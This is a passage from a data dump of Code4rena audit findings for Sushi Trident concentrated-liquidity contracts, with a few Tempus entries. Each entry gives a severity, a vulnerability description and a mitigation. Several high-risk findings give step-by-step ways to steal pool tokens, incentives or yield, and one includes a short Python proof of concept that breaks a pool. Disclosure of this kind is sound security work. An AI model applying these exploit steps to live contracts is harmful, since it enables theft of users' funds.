(Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`ConcentratedLiquidityPoolManager.sol#reclaimIncentive` Misleading error message", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L58 ```solidity function reclaimIncentive( IConcentratedLiquidityPool pool, uint256 incentiveId, uint256 amount, address receiver, bool unwrapBento ) public { Incentive storage incentive = incentives[pool][incentiveId]; require(incentive.owner == msg.sender, \"NOT_OWNER\"); require(incentive.expiry < block.timestamp, \"EXPIRED\"); require(incentive.rewardsUnclaimed >= amount, \"ALREADY_CLAIMED\"); _transfer(incentive.token, address(this), receiver, amount, unwrapBento); emit ReclaimIncentive(pool, incentiveId); } ``` When the current time is before the `incentive.expiry` time, the error message should be `NOT_EXPIRED` instead of `EXPIRED`. "}, {"title": "`ConcentratedLiquidityPosition.sol#collect()` Users may get double the amount of yield when they call `collect()` before `burn()`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/53", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details When a user calls `ConcentratedLiquidityPosition.sol#collect()` to collect their yield, it calcuates the yield based on `position.pool.rangeFeeGrowth()` and `position.feeGrowthInside0, position.feeGrowthInside1`: https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPosition.sol#L75-L101 When there are enough tokens in `bento.balanceOf`, it will not call `position.pool.collect()` to collect fees from the pool. This makes the user who `collect()` their yield when there is enough balance to get double yield when they call `burn()` to remove liquidity. Because `burn()` will automatically collect fees on the pool contract. ## Impact The yield belongs to other users will be diluted. ## Recommended Mitigation Steps Consider making `ConcentratedLiquidityPosition.sol#burn()` call `position.pool.collect()` before `position.pool.burn()`. User will need to call `ConcentratedLiquidityPosition.sol#collect()` to collect unclaimed fees after `burn()`. Or `ConcentratedLiquidityPosition.sol#collect()` can be changed into a `public` method and `ConcentratedLiquidityPosition.sol#burn()` can call it after `position.pool.burn()`. "}, {"title": "`ConcentratedLiquidityPosition.sol#burn()` Wrong implementation allows attackers to steal yield", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/52", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details When a user calls `ConcentratedLiquidityPosition.sol#burn()` to burn their liquidity, it calls `ConcentratedLiquidityPool.sol#burn()` -> `_updatePosition()`: https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPool.sol#L525-L553 The `_updatePosition()` function will return `amount0fees` and `amount1fees` of the whole position with the `lower` and `upper` tick and send them to the `recipient` alongside the burned liquidity amounts. ## Proof of Concept 1. Alice minted $10000 worth of liquidity with `lower` and `upper` tick set to 99 and 199; 2. Alice accumulated $1000 worth of fee in token0 and token1; 3. The attacker can mint a small amount ($1 worth) of liquidity using the same `lower` and `upper` tick; 4. The attacker calls `ConcentratedLiquidityPosition.sol#burn()` to steal all the unclaimed yield with the ticks of (99, 199) include the $1000 worth of yield from Alice. ## Recommended Mitigation Steps Consider making `ConcentratedLiquidityPosition.sol#burn()` always use `address(this)` as `recipient` in: ```solidity position.pool.burn(abi.encode(position.lower, position.upper, amount, recipient, unwrapBento)); ``` and transfer proper amounts to the user. "}, {"title": "Burning does not update reserves", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/51", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPool.burn` function sends out `amount0`/`amount1` tokens but only updates the reserves by decreasing it by the **fees of these amounts**. ```solidity unchecked { // @audit decreases by fees only, not by amount0/amount1 reserve0 -= uint128(amount0fees); reserve1 -= uint128(amount1fees); } ``` This leads to the pool having wrong reserves after any `burn` action. The pool's balance will be much lower than the reserve variables. ## Impact As the pool's actual balance will be much lower than the reserve variables, `mint`ing and `swap`ing will not work correctly either. This is because of the `amount0Actual + reserve0 <= _balance(token0)` check in `mint` using a much higher `reserve0` amount than the actual balance (already including the transferred assets from the user). An LP provider will have to make up for the missing reserve decrease from `burn` and pay more tokens. The same holds true for `swap` which performs the same check in `_updateReserves`. The pool essentially becomes unusable after a `burn` as LPs / traders need to pay more tokens. ## Recommended Mitigation Steps The reserve should be decreased by what is transferred out. In `burn`'s case this is `amount0` / `amount1`. "}, {"title": "Unsafe cast in ConcentratedLiquidityPool burn leads to attack", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/50", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPool.burn` function performs an unsafe cast of a `uint128` type to a _signed_ integer. ```solidity (uint256 amount0fees, uint256 amount1fees) = _updatePosition(msg.sender, lower, upper, -int128(amount)); ``` Note that `amount` is chosen by the caller and when choosing `amount = 2**128 - 1`, this is interpreted as `0xFFFFFFFFF... = -1` as a signed integer. Thus `-(-1)=1` adds 1 liquidity unit to the position This allows an attacker to not only mint LP tokens for free but as this is the `burn` function it also redeems token0/1 amounts according to the unmodified `uint128` `amount` which is an extremely large value. ## POC I created this POC that implements a hardhat test and shows how to steal the pool tokens. Choosing the correct `amount` of liquidity to burn and `lower, upper` ticks is not straight-forward because of two competing constraints: 1. the `-int128(amount)` must be less than `MAX_TICK_LIQUIDITY` (see `_updatePosition`). This drives the the `amount` up to its max value (as the max `uint128` value is -1 => -(-1)=1 is very low) 2. The redeemed `amount0, amount1` values must be less than the current pool balance as the transfers would otherwise fail. This drives the `amount` down. However, by choosing a smart `lower` and `upper` tick range we can redeem fewer tokens for the same liquidity. This example shows how to steal 99% of the `token0` pool reserves: https://gist.github.com/MrToph/1731dd6947073343cf6f942985d556a6 ## Impact An attacker can steal the pool tokens. ## Recommended Mitigation Steps Even though Solidity 0.8.x is used, type casts do not throw an error. A [`SafeCast` library](https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeCast) must be used everywhere a typecast is done. "}, {"title": "Gas: `ConcentratedLiquidityPoolManager.addIncentive` ", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPoolManager.addIncentive` performs an unnecessary check: ```solidity require(current <= incentive.endTime, \"ALREADY_ENDED\"); ``` As it already checks that `current <= incentive.startTime` and `incentive.startTime < incentive.endTime`, this check is unnecessary and will always be true by transitivity. ## Recommended Mitigation Steps Remove the check to save on gas. "}, {"title": "`TridentNFT` signature malleability", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`TridentNFT` signature malleability"}, {"title": "`TridentNFT.safeTransferFrom` now EIP-721 compliant", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/47", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`TridentNFT.safeTransferFrom` now EIP-721 compliant"}, {"title": "`TridentNFT._mint` can mint to zero address", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`TridentNFT._mint` can mint to zero address"}, {"title": "`TridentNFT.permitAll` prviliges discrepancy for operator", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `TridentNFT.permitAll` function allows the operator (`isApprovedForAll[owner][recoveredAddress]`) to change the operator (and lock themself out). The same functionality without permits does not work as `setApprovalForAll` requires the `owner` authority. ## Impact `permitAll` should have the same auth checks as `setApprovalForAll` and not allow the `operator` to change the operator. ## Recommended Mitigation Steps Remove the `|| isApprovedForAll[owner][recoveredAddress]` from the `require` statement. "}, {"title": "`TridentNFT.permit` should always check `recoveredAddress != 0`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `TridentNFT.permit` function ignores the `recoveredAddress != 0` check if `isApprovedForAll[owner][recoveredAddress]` is true. ## Impact If a user accidentally set the zero address as the operator, tokens can be stolen by anyone as a wrong signature yield `recoveredAddress == 0`. ## Recommended Mitigation Steps Change the `require` logic to `recoveredAddress != address(0) && (recoveredAddress == owner) || isApprovedForAll[owner][recoveredAddress])`. "}, {"title": "`TridentNFT` ignores `from`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`TridentNFT` ignores `from`"}, {"title": "Incentive should check that it hasn't started yet", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPoolManager.addIncentive` function can add an incentive that already has a non-zero `incentive.secondsClaimed`. ## Impact Rewards will be wrong. ## Recommended Mitigation Steps Add a check: `require(incentive.secondsClaimed == 0, \"!secondsClaimed\")`. "}, {"title": "Cannot claim reward", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/41", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPoolManager.claimReward` requires `stake.initialized` but it is never set. It also performs a strange computation as `128 - incentive.secondsClaimed` which will almost always underflow and revert the transaction. ## Impact One cannot claim rewards. ## Recommended Mitigation Steps Rethink how claiming rewards should work. "}, {"title": "Wrong inequality when trying to subscribe to an incentive", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/40", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Wrong inequality when trying to subscribe to an incentive"}, {"title": "`ConcentratedLiquidityPoolManager`'s incentives can be stolen", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/37", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPoolManager` keeps all tokens for all incentives in the same contract. The `reclaimIncentive` function does not reduce the `incentive.rewardsUnclaimed` field and thus one can reclaim tokens several times. This allows anyone to steal all tokens from all incentives by creating an incentive themself, and once it's expired, repeatedly claim the unclaimed rewards until the token balance is empty. ## POC - Attacker creates an incentive for a non-existent pool using a random address for `pool` (This is done such that no other user can claim rewards as we need a non-zero `rewardsUnclaimed` balance for expiry). They choose the `incentive.token` to be the token they want to steal from other incentives. (for example, `WETH`, `USDC`, or `SUSHI`) They choose the `startTime, endTime, expiry` such that the checks pass, i.e., starting and ending in a few seconds from now, expiring in 5 weeks. Then they choose a non-zero `rewardsUnclaimed` and transfer the `incentive.token` to the PoolManager. - Attacker waits for 5 weeks until the incentive is expired - Attacker can now call `reclaimIncentive(pool, incentiveId, amount=incentive.rewardsUnclaimed, attacker, false)` to withdraw `incentive.rewardsUnclaimed` of `incentive.token` from the pool manager. - As the `incentive.rewardsUnclaimed` variable has not been decreased, they can keep calling `reclaimIncentive` until the pool is drained. ## Impact An attacker can steal all tokens in the PoolManager. ## Recommended Mitigation Steps In `reclaimIncentive`, reduce `incentive.rewardsUnclaimed` by the withdrawn `amount`. "}, {"title": "Wrong inequality when adding/removing liquidity in current price range", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/34", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPool.mint/burn` functions add/remove `liquidity` when `(priceLower < currentPrice && currentPrice < priceUpper)`. Shouldn't it also be changed if `priceLower == currentPrice`? ## Impact Pools that mint/burn liquidity at a time where the `currentPrice` is right at the lower price range do not work correctly and will lead to wrong swap amounts. ## Recommended Mitigation Steps Change the inequalities to `if (priceLower <= currentPrice && currentPrice < priceUpper)`. "}, {"title": "`ConcentratedLiquidityPool`s can be created with the same tokens", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `ConcentratedLiquidityPool.constructor` does not check that `_token0 != _token1`. The pool factory does not ensure this either. ## Impact Pools can be created using the same token. This should be prevented as it does not make sense. ## Recommended Mitigation Steps Add a `_token0 != _token1` check to the constructor. "}, {"title": "`ConcentratedLiquidityPool.Sync` event never used", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "`ConcentratedLiquidityPool.Sync` event never used"}, {"title": "`Ticks.cross` wrong comment?", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`Ticks.cross` wrong comment?"}, {"title": "`DyDxMath.getLiquidityForAmounts` underflows", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle cmichel # Vulnerability details The `DyDxMath.getLiquidityForAmounts/getDx/getDy` functions perform unchecked computations on `priceUpper - priceLower` but they do not check that `priceUpper >= priceLower`. ## Impact The values can underflow and return much lower liquidity or much higher token amounts than expected. The calling functions (`mint` and `burn`) also do not check this. For `mint`, it fails further down the callstack at `Ticks.insert`, but `burn` does not fail. ## Recommended Mitigation Steps Check that the `lower` and `upper` from the provided parameters for `mint` and `burn` are indeed sorted, i.e., `lower < upper`. It should be checked explicitly at the start of the function. "}, {"title": " No sanity check of `_price` in the constructor", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": " No sanity check of `_price` in the constructor"}, {"title": "range fee growth underflow", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/25", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle broccoli # Vulnerability details # range fee growth underflow ## Impact The function `RangeFeeGrowth` [ConcentratedLiquidityPool.sol#L601-L633](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPool.sol#L601-L633) would revert the transaction in some cases. When a pool cross a tick, it only updates either `feeGrowthOutside0` or `feeGrowthOutside1`. [Ticks.sol#L23-L53](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/libraries/concentratedPool/Ticks.sol#L23-L53) `RangeFeeGrowth` calculates the fee as follow: ```solidity feeGrowthInside0 = _feeGrowthGlobal0 - feeGrowthBelow0 - feeGrowthAbove0; feeGrowthInside1 = _feeGrowthGlobal1 - feeGrowthBelow1 - feeGrowthAbove1; ``` `feeGrowthBelow + feeGrowthAbove` is not necessary smaller than `_feeGrowthGlobal`. Please see `POC`. Users can not provide liquidity or burn liquidity. Fund will get stocked in the contract. I consider this is a high-risk issue. ## Proof of Concept ```python # This is the wrapper. # def add_liquidity(pool, amount, lower, upper) # def swap(pool, buy, amount) add_liquidity(pool, deposit_amount, -800, 500) add_liquidity(pool, deposit_amount, 400, 700) # We cross the tick here to trigger the bug. swap(pool, False, deposit_amount) # Only tick 700's feeGrowthOutside1 is updated swap(pool, True, deposit_amount) # Only tick 500's feeGrowthOutside0 is updated # current tick at -800 # this would revert # feeGrowthBelow1 = feeGrowthGlobal1 # feeGrowthGlobal1 - feeGrowthBelow1 - feeGrowthAbove1 would revert # user would not be able to mint/withdraw/cross this tick. The pool is broken add_liquidity(pool, deposit_amount, 400, 700) ``` ## Tools Used Hardhat ## Recommended Mitigation Steps It's either modify the tick's algo or `RangeFeeGrowth`. The quick-fix I come up with is to deal with the fee in `RangeFeeGrowth`. However, I recommend the team to go through tick's logic again. "}, {"title": "`ConcentratedLiquidityPool.burn()` Wrong implementation", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/24", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details The reserves should be updated once LP tokens are burned to match the actual total bento shares hold by the pool. However, the current implementation only updated reserves with the fees subtracted. Makes the `reserve0` and `reserve1` smaller than the current `balance0` and `balance1`. ## Impact As a result, many essential features of the contract will malfunction, includes `swap()` and `mint()`. ## Recommended Mitigation Steps https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPool.sol#L263-L267 Change: ``` unchecked { reserve0 -= uint128(amount0fees); reserve1 -= uint128(amount1fees); } ``` to: ``` unchecked { reserve0 -= uint128(amount0); reserve1 -= uint128(amount1); } ``` "}, {"title": "ConcentratedLiquidityPoolManager.sol#claimReward() and reclaimIncentive() will fail when incentive.token is token0 or token1", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details In `ConcentratedLiquidityPosition.collect()`, balances of token0 and token1 in bento will be used to pay the fees. https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPosition.sol#L103-L116 ``` uint256 balance0 = bento.balanceOf(token0, address(this)); uint256 balance1 = bento.balanceOf(token1, address(this)); if (balance0 < token0amount || balance1 < token1amount) { (uint256 amount0fees, uint256 amount1fees) = position.pool.collect(position.lower, position.upper, address(this), false); uint256 newBalance0 = amount0fees + balance0; uint256 newBalance1 = amount1fees + balance1; /// @dev Rounding errors due to frequent claiming of other users in the same position may cost us some raw if (token0amount > newBalance0) token0amount = newBalance0; if (token1amount > newBalance1) token1amount = newBalance1; } _transfer(token0, address(this), recipient, token0amount, unwrapBento); _transfer(token1, address(this), recipient, token1amount, unwrapBento); ``` In the case of someone add an incentive with `token0` or `token1`, the incentive in the balance of bento will be used to pay fees until the balance is completely consumed. As a result, when a user calls `claimReward()`, the contract may not have enough balance to pay (it supposed to have it), cause the transaction to fail. https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L78-L100 ``` function claimReward( uint256 positionId, uint256 incentiveId, address recipient, bool unwrapBento ) public { require(ownerOf[positionId] == msg.sender, \"OWNER\"); Position memory position = positions[positionId]; IConcentratedLiquidityPool pool = position.pool; Incentive storage incentive = incentives[position.pool][positionId]; Stake storage stake = stakes[positionId][incentiveId]; require(stake.initialized, \"UNINITIALIZED\"); uint256 secondsPerLiquidityInside = pool.rangeSecondsInside(position.lower, position.upper) - stake.secondsInsideLast; uint256 secondsInside = secondsPerLiquidityInside * position.liquidity; uint256 maxTime = incentive.endTime < block.timestamp ? block.timestamp : incentive.endTime; uint256 secondsUnclaimed = (maxTime - incentive.startTime) << (128 - incentive.secondsClaimed); uint256 rewards = (incentive.rewardsUnclaimed * secondsInside) / secondsUnclaimed; incentive.rewardsUnclaimed -= rewards; incentive.secondsClaimed += uint160(secondsInside); stake.secondsInsideLast += uint160(secondsPerLiquidityInside); _transfer(incentive.token, address(this), recipient, rewards, unwrapBento); emit ClaimReward(positionId, incentiveId, recipient); } ``` The same issue applies to `reclaimIncentive()` as well. https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L49-L62 ``` function reclaimIncentive( IConcentratedLiquidityPool pool, uint256 incentiveId, uint256 amount, address receiver, bool unwrapBento ) public { Incentive storage incentive = incentives[pool][incentiveId]; require(incentive.owner == msg.sender, \"NOT_OWNER\"); require(incentive.expiry < block.timestamp, \"EXPIRED\"); require(incentive.rewardsUnclaimed >= amount, \"ALREADY_CLAIMED\"); _transfer(incentive.token, address(this), receiver, amount, unwrapBento); emit ReclaimIncentive(pool, incentiveId); } ``` ## Recommendation Consider making adding `token0` or `token1` as incentives disallowed, or keep a record of total remaining incentive amounts for the incentive tokens and avoid consuming these revered balances when `collect()`. "}, {"title": "Spelling Errors", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "Spelling Errors"}, {"title": "Ticks: getMaxLiquidity() formula should be explained", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/21", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Ticks: getMaxLiquidity() formula should be explained"}, {"title": "ConcentratedLiquidityPoolHelper: getTickState() might run out of gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/17", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "ConcentratedLiquidityPoolHelper: getTickState() might run out of gas"}, {"title": "ConcentratedLiquidityPool: incorrect feeGrowthGlobal accounting when crossing ticks", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/16", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact Swap fees are taken from the output. Hence, if swapping token0 for token1 (`zeroForOne` is true), then fees are taken in token1. We see this to be the case in the initialization of feeGrowthGlobal in the swap cache `feeGrowthGlobal = zeroForOne ? feeGrowthGlobal1 : feeGrowthGlobal0;` and in `_updateFees()`. However, looking at `Ticks.cross()`, the logic is the reverse, which causes wrong fee accounting. ```jsx if (zeroForOne) { ... ticks[nextTickToCross].feeGrowthOutside0 = feeGrowthGlobal - ticks[nextTickToCross].feeGrowthOutside0; } else { ... ticks[nextTickToCross].feeGrowthOutside1 = feeGrowthGlobal - ticks[nextTickToCross].feeGrowthOutside1; } ``` ### Recommended Mitigation Steps Switch the `0` and `1` in `Ticks.cross()`. ```jsx if (zeroForOne) { ... // feeGrowthGlobal = feeGrowthGlobal1 ticks[nextTickToCross].feeGrowthOutside1 = feeGrowthGlobal - ticks[nextTickToCross].feeGrowthOutside1; } else { ... // feeGrowthGlobal = feeGrowthGlobal0 ticks[nextTickToCross].feeGrowthOutside0 = feeGrowthGlobal - ticks[nextTickToCross].feeGrowthOutside0; } ``` "}, {"title": "ConcentratedLiquidityPool: secondsPerLiquidity should be modified whenever pool liquidity changes", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/15", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "ConcentratedLiquidityPool: secondsPerLiquidity should be modified whenever pool liquidity changes"}, {"title": "ConcentratedLiquidityPool: rangeFeeGrowth and secondsPerLiquidity math needs to be unchecked", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/13", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The fee growth mechanism, and by extension, secondsPerLiquidity mechanism of Uniswap V3 has the ability to underflow. It is therefore a necessity for the math to (ironically) be unsafe / unchecked. ### Proof of Concept Assume the following scenario and initial conditions: - Price at parity (nearestTick is 0) - tickSpacing of 10 - Swaps only increase the price (nearestTick moves up only) - feeGrowthGlobal initializes with 0, increases by 1 for every tick moved for simplicity - Existing positions that provide enough liquidity and enable nearestTick to be set to values in the example - Every tick initialized in the example is \u2264 nearestTick, so that its feeGrowthOutside = feeGrowthGlobal 1. When nearestTick is at 40, Alice creates a position for uninitialised ticks [-20, 30]. The ticks are initialized, resulting in their feeGrowthOutside values to be set to 40. 2. nearestTick moves to 50. Bob creates a position with ticks [20, 30] (tick 20 is uninitialised, 30 was initialized from Alice's mint). tick 20 will therefore have a feeGrowthOutside of 50. 3. Let us calculate `rangeFeeGrowth(20,30)`. - lowerTick = 20, upperTick = 30 - feeGrowthBelow = 50 (lowerTick's feeGrowthOutside) since lowerTick < currentTick - feeGrowthAbove = 50 - 40 = 10 (feeGrowthGlobal - upperTick's feeGrowthOutside) since upperTick < currentTick - feeGrowthInside = feeGrowthGlobal - feeGrowthBelow - feeGrowthAbove = 50 - 50 - 10 = -10 We therefore have negative feeGrowthInside. This behaviour is actually acceptable, because the important thing about this mechanism is the relative values to each other, not the absolute values themselves. ### Recommended Mitigation Steps `rangeFeeGrowth()` and `rangeSecondsInside()` has to be unchecked. In addition, the subtraction of feeGrowthInside values should also be unchecked in `_updatePosition()` and `ConcentratedLiquidityPosition#collect()`. The same also applies for the subtraction of `pool.rangeSecondsInside` and `stake.secondsInsideLast` in `claimReward()` and `getReward()` of the `ConcentratedLiquidityPoolManager` contract. "}, {"title": "ConcentratedLiquidityPool: MAX_TICK_LIQUIDITY is checked incorrectly", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushitrident-2-findings", "body": "ConcentratedLiquidityPool: MAX_TICK_LIQUIDITY is checked incorrectly"}, {"title": "ConcentratedLiquidityPool: initialPrice should be checked to be within allowable range", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/11", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact No check is performed for the initial price. This means that it can be set to be below the `MIN_SQRT_RATIO` or above `MAX_SQRT_RATIO` (Eg. zero value), which will prevent the usability of all other functions (minting, swapping, burning). For example, `Ticks.insert()` would fail when attempting to calculate `actualNearestTick = TickMath.getTickAtSqrtRatio(currentPrice);`, which means no one will be able to mint positions. ### Recommended Mitigation Steps Check the `initialPrice` is within the acceptable range, ie. `MIN_SQRT_RATIO <= initialPrice <= MAX_SQRT_RATIO` "}, {"title": "Incentives for different pools should differ by a large factor", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/10", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Incentives for different pools should differ by a large factor"}, {"title": "Possible attacks on Seconds * Liquidity calculation", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/8", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Possible attacks on Seconds * Liquidity calculation"}, {"title": "Consider using solidity version 0.8.8", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Consider using solidity version 0.8.8"}, {"title": "Implement or remove functions", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Implement or remove functions"}, {"title": "Possible underflow if other checks aren't used", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushitrident-2-findings", "body": "Possible underflow if other checks aren't used"}, {"title": "Unlocked Pragma Statements", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/3", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Unlocked Pragma Statements"}, {"title": "Understanding the fee growth mechanism (why nearestTick is unsuitable)", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/1", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Understanding the fee growth mechanism (why nearestTick is unsuitable)"}, {"title": "depositYieldBearing didn't check address != 0", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/48", "labels": ["bug", "sponsor confirmed", "disagree with severity", "0 (Non-critical)", "resolved"], "target": "2021-10-tempus-findings", "body": "# Handle pants # Vulnerability details "}, {"title": "`internal` functions can be `private`", "html_url": "https://github.com/code-423n4/2021-10-tempus-findings/issues/46", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-10-tempus-findings", "body": "`internal` functions can be `private`"}, {"title": "`public` functions can be `external`", "html_url": 